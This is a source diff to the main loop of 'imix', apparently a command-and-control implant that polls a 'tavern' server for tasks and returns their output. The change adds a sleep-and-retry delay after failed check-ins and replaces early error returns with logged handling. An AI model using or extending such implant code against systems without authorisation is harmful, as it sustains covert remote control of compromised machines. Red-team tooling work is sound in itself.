395 bug imix has no delay between failed check ins

implants/imix/src/main.rs

@@ -13,6 +13,21 @@ fn get_callback_uri(imix_config: Config) -> Result<String> {
     Ok(imix_config.callback_config.c2_configs[0].uri.clone())
 }
 
+fn do_delay(interval: u64, loop_start_time: Instant) {
+    let time_to_sleep = interval
+        .checked_sub(loop_start_time.elapsed().as_secs())
+        .unwrap_or_else(|| 0);
+
+    #[cfg(debug_assertions)]
+    eprintln!(
+        "[{}]: Callback failed sleeping seconds {}",
+        (Instant::now() - loop_start_time).as_millis(),
+        time_to_sleep
+    );
+
+    std::thread::sleep(std::time::Duration::new(time_to_sleep as u64, 24601));
+}
+
 // Async handler for port scanning.
 async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<()> {
     #[cfg(debug_assertions)]
@@ -51,6 +66,7 @@ async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<(
             Err(err) => {
                 #[cfg(debug_assertions)]
                 eprintln!("failed to create tavern client {}", err);
+                do_delay(imix_config.callback_config.interval, loop_start_time);
                 continue;
             }
         };
@@ -62,12 +78,25 @@ async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<(
             (Instant::now() - loop_start_time).as_millis()
         );
 
-        let new_tasks = tasks::get_new_tasks(
+        let new_tasks = match tasks::get_new_tasks(
             agent_properties.clone(),
             imix_config.clone(),
             tavern_client.clone(),
         )
-        .await?;
+        .await
+        {
+            Ok(local_new_tasks) => local_new_tasks,
+            Err(local_err) => {
+                #[cfg(debug_assertions)]
+                eprintln!(
+                    "[{}]: Error getting new tasks {}",
+                    (Instant::now() - loop_start_time).as_millis(),
+                    local_err
+                );
+                do_delay(imix_config.callback_config.interval, loop_start_time);
+                continue;
+            }
+        };
 
         // 2. Start new tasks
         #[cfg(debug_assertions)]
@@ -77,7 +106,17 @@ async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<(
             new_tasks.len()
         );
 
-        start_new_tasks(new_tasks, &mut all_exec_futures, loop_start_time).await?;
+        match start_new_tasks(new_tasks, &mut all_exec_futures, loop_start_time).await {
+            Ok(is_ok) => {}
+            Err(local_err) => {
+                #[cfg(debug_assertions)]
+                eprintln!(
+                    "[{}]: Failed to start new tasks: {}",
+                    (Instant::now() - loop_start_time).as_millis(),
+                    local_err
+                );
+            }
+        };
 
         // 3. Sleep till callback time
         let time_to_sleep = imix_config
@@ -104,13 +143,25 @@ async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<(
         );
 
         // Update running tasks and results
-        submit_task_output(
+        match submit_task_output(
             loop_start_time,
             tavern_client,
             &mut all_exec_futures,
             &mut all_task_res_map,
         )
-        .await?;
+        .await
+        {
+            Ok(_is_ok) => {}
+            Err(local_err) => {
+                #[cfg(debug_assertions)]
+                eprintln!(
+                    "[{}]: Error submitting task results {}",
+                    (Instant::now() - loop_start_time).as_millis(),
+                    local_err
+                );
+                do_delay(imix_config.callback_config.interval, loop_start_time);
+            }
+        };
 
         // Debug loop tracker
         #[cfg(debug_assertions)]